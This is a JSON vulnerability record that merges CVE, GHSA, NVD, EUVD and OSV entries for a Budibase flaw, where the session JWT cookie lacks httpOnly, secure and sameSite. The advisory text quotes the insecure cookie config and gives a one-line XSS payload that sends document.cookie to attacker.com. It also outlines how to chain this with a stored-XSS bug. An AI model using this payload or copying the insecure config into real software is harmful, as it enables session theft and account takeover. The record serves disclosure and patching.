{"id":"CVE-2026-42239","aliases":["EUVD-2026-28429","GHSA-4f9j-vr4p-642r"],"status":"published","title":"Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover","description":"Budibase is an open-source low-code platform. Prior to version 3.35.10, the budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. This means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account. The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute. This issue has been patched in version 3.35.10.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00283,"percentile":0.21116,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1004"],"published":"2026-04-24T16:18:52Z","modified":"2026-10-28T02:30:48Z","fixes":[{"ecosystem":"npm","package":"@budibase/backend-core","fixed_in":["3.35.10"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@budibase/backend-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.35.10"}]}]},{"source":"osv","ecosystem":"npm","package":"@budibase/backend-core","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.35.10"}]}]}],"products":[{"vendor":"budibase","product":"budibase"}],"references":[{"url":"https://github.com/Budibase/budibase/security/advisories/GHSA-4f9j-vr4p-642r","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/Budibase/budibase/releases/tag/3.35.10","tags":["x_refsource_MISC","Patch","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42239","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4f9j-vr4p-642r"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42239.json","tags":["advisory"]},{"url":"https://github.com/Budibase/budibase","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-42239","title":"Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover","description":"Budibase is an open-source low-code platform. Prior to version 3.35.10, the budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. This means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account. The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute. This issue has been patched in version 3.35.10.","status":"published","published":"2026-05-07T18:49:59.18Z","modified":"2026-05-07T19:39:45.605Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-1004"],"updated_at":"2026-11-02T13:40:23.731501Z"}],"euvd":[{"id":"EUVD-2026-28429","description":"Budibase is an open-source low-code platform. Prior to version 3.35.10, the budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. This means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account. The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute. This issue has been patched in version 3.35.10.","status":"published","published":"2026-05-07T18:49:59Z","modified":"2026-05-07T19:39:45Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T19:05:14.902845Z"}],"ghsa":[{"id":"GHSA-4f9j-vr4p-642r","title":"Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover","description":"### Summary\n\nThe `budibase:auth` cookie containing the JWT session token is set with `httpOnly: false` at `packages/backend-core/src/utils/utils.ts:218`. JavaScript can read this cookie via `document.cookie`. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.\n\nThe cookie also lacks `secure: true` (sent over plaintext HTTP) and `sameSite` attribute.\n\n### Details\n\n`packages/backend-core/src/utils/utils.ts`, lines 215-226:\n\n```typescript\nconst config: SetOption = {\n  expires: MAX_VALID_DATE,\n  path: \"/\",\n  httpOnly: false,     // ← JavaScript can read the session JWT\n  overwrite: true,\n}\n\nif (env.COOKIE_DOMAIN) {\n  config.domain = env.COOKIE_DOMAIN\n}\n\nctx.cookies.set(name, value, config)\n```\n\nThis function is called for setting the `budibase:auth` cookie which contains the signed JWT session token. With `httpOnly: false`, any JavaScript execution context (XSS, injected script, browser extension) can read the token via `document.cookie`.\n\nMissing flags:\n- `httpOnly: false` → should be `true` (prevent JS access)\n- No `secure` flag → cookie sent over HTTP (should be `secure: true` for HTTPS deployments)\n- No `sameSite` → susceptible to cross-site request attachment (should be `sameSite: 'lax'`)\n\n### PoC\n\nAny XSS payload can steal the session:\n\n```javascript\n// Attacker's XSS payload — steals session and sends to attacker server\nnew Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);\n```\n\nWith `httpOnly: true`, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.\n\nCombined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:\n1. Create an entity with a name containing `\u003cscript\u003e` payload\n2. Any user who views that entity has their JWT stolen\n3. Attacker uses the JWT for persistent account access\n\n### Impact\n\nEvery XSS vulnerability — past, present, and future — becomes a full account takeover. The `httpOnly` flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from \"session riding\" to \"persistent credential theft.\"\n\nThis affects all Budibase deployments since the cookie configuration is hardcoded.\n\n## ATTACHMENTS\n\n[BUDIBASE-TOP10-REPORT.md](https://github.com/user-attachments/files/26508656/BUDIBASE-TOP10-REPORT.md)\n\n---","status":"published","published":"2026-04-24T16:18:52Z","modified":"2026-05-11T13:29:34Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-1004"],"updated_at":"2026-11-02T14:40:05.816188Z"}],"nvd":[{"id":"CVE-2026-42239","description":"Budibase is an open-source low-code platform. Prior to version 3.35.10, the budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. This means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account. The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute. This issue has been patched in version 3.35.10.","status":"published","published":"2026-05-07T20:16:44.097Z","modified":"2026-06-17T10:47:33.977Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-1004"],"updated_at":"2026-11-02T14:12:17.842772Z"}],"osv":[{"id":"CVE-2026-42239","title":"Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover","description":"Budibase is an open-source low-code platform. Prior to version 3.35.10, the budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. This means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account. The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute. This issue has been patched in version 3.35.10.","status":"published","published":"2026-05-07T18:49:59.18Z","modified":"2026-10-28T02:30:48.907876222Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-1004"],"updated_at":"2026-11-02T15:45:04.117819Z"},{"id":"GHSA-4f9j-vr4p-642r","title":"Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover","description":"### Summary\n\nThe `budibase:auth` cookie containing the JWT session token is set with `httpOnly: false` at `packages/backend-core/src/utils/utils.ts:218`. JavaScript can read this cookie via `document.cookie`. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.\n\nThe cookie also lacks `secure: true` (sent over plaintext HTTP) and `sameSite` attribute.\n\n### Details\n\n`packages/backend-core/src/utils/utils.ts`, lines 215-226:\n\n```typescript\nconst config: SetOption = {\n  expires: MAX_VALID_DATE,\n  path: \"/\",\n  httpOnly: false,     // ← JavaScript can read the session JWT\n  overwrite: true,\n}\n\nif (env.COOKIE_DOMAIN) {\n  config.domain = env.COOKIE_DOMAIN\n}\n\nctx.cookies.set(name, value, config)\n```\n\nThis function is called for setting the `budibase:auth` cookie which contains the signed JWT session token. With `httpOnly: false`, any JavaScript execution context (XSS, injected script, browser extension) can read the token via `document.cookie`.\n\nMissing flags:\n- `httpOnly: false` → should be `true` (prevent JS access)\n- No `secure` flag → cookie sent over HTTP (should be `secure: true` for HTTPS deployments)\n- No `sameSite` → susceptible to cross-site request attachment (should be `sameSite: 'lax'`)\n\n### PoC\n\nAny XSS payload can steal the session:\n\n```javascript\n// Attacker's XSS payload — steals session and sends to attacker server\nnew Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);\n```\n\nWith `httpOnly: true`, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.\n\nCombined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:\n1. Create an entity with a name containing `\u003cscript\u003e` payload\n2. Any user who views that entity has their JWT stolen\n3. Attacker uses the JWT for persistent account access\n\n### Impact\n\nEvery XSS vulnerability — past, present, and future — becomes a full account takeover. The `httpOnly` flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from \"session riding\" to \"persistent credential theft.\"\n\nThis affects all Budibase deployments since the cookie configuration is hardcoded.\n\n## ATTACHMENTS\n\n[BUDIBASE-TOP10-REPORT.md](https://github.com/user-attachments/files/26508656/BUDIBASE-TOP10-REPORT.md)\n\n---","status":"published","published":"2026-04-24T16:18:52Z","modified":"2026-05-11T13:53:11.910497Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-1004"],"updated_at":"2026-11-02T15:46:36.782754Z"}]}}